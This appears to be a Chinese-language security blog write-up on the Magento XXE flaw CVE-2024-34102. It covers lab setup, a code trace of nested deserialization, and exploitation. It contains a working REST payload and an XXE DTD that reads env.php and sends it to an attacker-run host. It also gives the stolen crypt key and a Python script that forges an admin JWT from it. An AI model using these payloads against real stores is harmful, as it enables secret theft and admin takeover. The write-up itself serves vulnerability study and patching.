最近看到一个XXE漏洞,CVSS给了9.8的高分,这就不得不分析一下了:https://github.com/advisories/GHSA-m8cj-3v68-3cxj

影响版本:

1
2
3
4
5
6
7
= 2.4.4
>= 2.4.6-p1, < 2.4.6-p6
>= 2.4.5-p1, < 2.4.5-p8
< 2.4.4-p9
= 2.4.5
= 2.4.6
= 2.4.7

环境搭建

漏洞复现啥的都还好说,环境是真麻烦

推荐使用:https://github.com/markshust/docker-magento/

1
2
3
4
5
6
# Create your project directory then go into it:
mkdir -p ~/Sites/magento
cd $_

# Run this automated one-liner from the directory you want to install your project.
curl -s https://raw.githubusercontent.com/markshust/docker-magento/master/lib/onelinesetup | bash -s -- magento.test 2.4.7 community

按照教程来,一步到胃

需要改一下hosts

切换到 magento-php 容器,禁用双重认证

1
2
bin/magento module:disable Magento_AdminAdobeImsTwoFactorAuth
bin/magento module:disable Magento_TwoFactorAuth

后台路径:https://magento.test/admin
默认管理员账号密码:john.smith/password123

漏洞分析

网上已经写的很详细了:https://www.assetnote.io/resources/research/why-nested-deserialization-is-harmful-magento-xxe-cve-2024-34102

看到lib/internal/Magento/Framework/Webapi/ServiceInputProcessor.php#_createFromArray

关键的地方就是通过 getConstructorData 方法获取构造函数参数,并使用这些参数创建一个对象,跟进 getConstructorData 方法

获取该类的构造函数,调用$constructor->getParameters()获取构造函数的参数列表,并遍历参数列表检查$data中是否有对应的键,如果存在,则会调用 convertValue 方法,参数为键对应的值

1
$res[$parameter->getName()] = $this->convertValue($data[$parameter->getName()], $parameterType);

进行一些判断,然后调用 processComplexTypes 方法

看到又调用到_createFromArray方法,即会递归调用构造方法

打过CTF的都知道,php存在一些原生类的利用

SimpleXMLElement 触发XXE

1
new SimpleXMLElement("http://6wovn93g.dnslog.pw/evil.xml",2,true);

SQLite3 创建空白文件

1
new SQLite3('/tmp/mysqlitedb.db');

最后就是找链了,没啥好说的

漏洞利用

POC已经公开了:https://raw.githubusercontent.com/karkis3c/cves/main/CVE-2024-34102/CVE-2024-34102.yaml

1
2
3
/rest/V1/guest-carts/1/estimate-shipping-methods

{"address":{"totalsCollector":{"collectorList":{"totalCollector":{"sourceData":{"data":"http://192.168.111.1:8000/file.xml","dataIsURL":true,"options":12345678}}}}}}

根据文章,尝试读取env.php

1
2
3
4
5
6
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=../app/etc/env.php">
<!ENTITY % dtd SYSTEM "http://192.168.111.1:8888/data.dtd"> %dtd;
]>
<data>&send;</data>

使用ftp回显:https://github.com/LandGrey/xxe-ftp-server

base64解码得到key

得到:'crypt' => [ 'key' => 'base64A9myPvYovOhTDAspj4Qmv/fba5LXK+vvycXqwF7iKxU=' ]

JWT Attack

REST API:https://developer.adobe.com/commerce/webapi/rest/

看到app/code/Magento/Integration/etc/webapi.xml

我们可以通过/rest/V1/integration/admin/token接口获取JWT令牌

对应的方法在app/code/Magento/Integration/Model/AdminTokenService.php#createAdminAccessToken

走到了app/code/Magento/JwtUserToken/Model/Issuer.php#create

很明显就是一些参数的获取,其中utypid为2时,为admin类型用户,最后会调用$this->jwtManager->create创建JWT令牌

这里最重要的就是$settings,决定了加密算法、密钥等设置

1
$settings = $this->settingsProvider->prepareSettingsFor($userContext);

app/code/Magento/JwtUserToken/Model/ConfigurableJwtSettingsProvider.php#prepareAllAccepted

getJwtAlgorithm方法获取当前算法$algorithm,然后判断是走JWS还是JWE

看到app/code/Magento/JwtUserToken/Model/Config/ConfigReader.php#getJwtAlgorithm

app/code/Magento/JwtUserToken/etc/config.xml中可以获取到该值

默认签名算法为HS256,回到 prepareAllAccepted 方法,最终会执行到app/code/Magento/JwtUserToken/Model/SecretBasedJwksFactory.php#createFor

显然$this->keys就是密钥,该值会从配置crypt/key中获取,然后前后填充&字符直到2048个字符

1
2
3
4
5
$this->keys = preg_split('/\s+/s', trim((string)$deploymentConfig->get('crypt/key')));
//Making sure keys are large enough.
foreach ($this->keys as &$key) {
$key = str_pad($key, 2048, '&', STR_PAD_BOTH);
}

我们简单执行一下就可以拿到该值了

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import jwt
import datetime

iat = datetime.datetime.now()
exp = iat + datetime.timedelta(hours=1)

payload = {
"uid": 1,
"utypid": 2,
"iat": int(iat.timestamp()),
"exp": int(exp.timestamp())
}

headers = {
"kid": "1",
"alg": "HS256"
}

encoded_jwt = jwt.encode(payload, '&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&base64A9myPvYovOhTDAspj4Qmv/fba5LXK+vvycXqwF7iKxU=&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&', algorithm='HS256',headers=headers)
print(encoded_jwt)

测试的版本为2.4.7,其他版本可能稍作不同

CVE-2024-2961

https://www.ambionics.io/blog/iconv-cve-2024-2961-p1

文章介绍了几种利用姿势,其中就包括XXE

利用脚本:https://github.com/ambionics/cnext-exploits/

漏洞修复

检查对象是否继承或者实现SimpleXMLElement、DOMElement类。如果为true则直接抛出异常

参考:
https://github.com/spacewasp/public_docs/blob/main/CVE-2024-34102.md